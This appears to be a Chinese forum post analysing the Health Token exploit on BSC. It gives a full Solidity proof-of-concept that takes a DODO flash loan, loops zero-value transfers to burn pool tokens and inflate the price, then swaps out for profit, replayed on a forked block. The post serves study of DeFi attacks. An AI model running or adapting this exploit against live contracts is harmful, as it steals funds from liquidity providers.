-
-
区块链安全学习 - Health Token被黑分析
-
2022-11-26 00:17 12615
-
简介
攻击交易:
攻击分析
攻击者通过dodo闪电贷获取了40个WBNB,通过pancakeSwap的Router兑换了30565652268756555675523626个
相同数目的Health token应该只能swap出个40000000000000000000
但是却兑换出了56641927146106351887,归还闪电贷后,至此黑客获利16641927146106351887。也就是16BNB
通过观察交易,发现黑客发送了大量的 transfer
。去看合约代码
发现在 transfer
函数中,如果满足了条件,它就会销毁流动池中的Health代币。从而导致Health兑换WBNB的价格增高。
复盘
我们同样也去dodo借一笔闪电贷,然后去模拟运行一下。fork bsc 22337426区块
去tenderly模拟,因为循环次数过多,我们需要拉高gas
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 | pragma solidity ^ 0.8 . 0 ; interface IERC20 { event Transfer(address indexed from , address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns ( bool ); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns ( bool ); function transferFrom( address from , address to, uint256 amount ) external returns ( bool ); } interface Uni_Router_V2 { function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] memory path, address to, uint256 deadline ) external; } interface IDPPAdvanced { function flashLoan( uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data ) external; } interface IWBNB { function balanceOf(address account) external view returns (uint256); function withdraw(uint wad) external; function deposit() external payable; function approve(address guy, uint wad) external returns ( bool ); } interface IPancakeRouter { function getAmountsIn(uint amountOut, address[] memory path) external view returns (uint[] memory amounts); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IHealth { function balanceOf(address account) external view returns (uint256); function approve(address spender, uint256 amount) external returns ( bool ); function transfer(address recipient, uint256 amount) external returns ( bool ); } interface IPancakePair { function skim(address to) external; function sync() external; } struct DPPAdvancedCallBackData { uint256 baseAmount; uint256 quoteAmount; } contract ContractTest{ IERC20 HEALTH = IERC20( 0x32B166e082993Af6598a89397E82e123ca44e74E ); IERC20 WBNB = IERC20( 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c ); Uni_Router_V2 uni_pair = Uni_Router_V2( 0xF375709DbdE84D800642168c2e8bA751368e8D32 ); Uni_Router_V2 uni_router = Uni_Router_V2( 0x10ED43C718714eb63d5aA57B78B54704E256024E ); address public constant dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4 ; function testExp() external{ WBNB.approve(address(uni_router), type (uint). max ); HEALTH.approve(address(uni_router), type (uint). max ); uint256 borrown_wbnb_amt = 200 * 1e18 ; DPPAdvancedCallBackData memory callbackData; callbackData.baseAmount = borrown_wbnb_amt; callbackData.quoteAmount = 0 ; bytes memory data = abi.encode(callbackData); IDPPAdvanced(dodo).flashLoan(borrown_wbnb_amt, 0 ,address(this),data); } fallback() external payable { } function DPPFlashLoanCall( address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data ) external { WBNBToHEALTH(); for (uint i = 0 ; i < 600 ; i + + ){ HEALTH.transfer(address(this), 0 ); } HEALTHToWBNB(); WBNB.transfer(dodo, 200 * 1e18 ); } function WBNBToHEALTH() internal{ address[] memory path = new address[]( 2 ); path[ 0 ] = address(WBNB); path[ 1 ] = address(HEALTH); uni_router.swapExactTokensForTokensSupportingFeeOnTransferTokens( WBNB.balanceOf(address(this)), 0 , path, address(this), block.timestamp ); } function HEALTHToWBNB() internal{ address[] memory path = new address[]( 2 ); path[ 0 ] = address(HEALTH); path[ 1 ] = address(WBNB); uni_router.swapExactTokensForTokensSupportingFeeOnTransferTokens( HEALTH.balanceOf(address(this)), 0 , path, address(this), block.timestamp ); } } |
成功获利13个BNB
最后
感谢在学习过程中33提供的帮助。
本人初学,如有错漏之处,敬请指正
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
看原图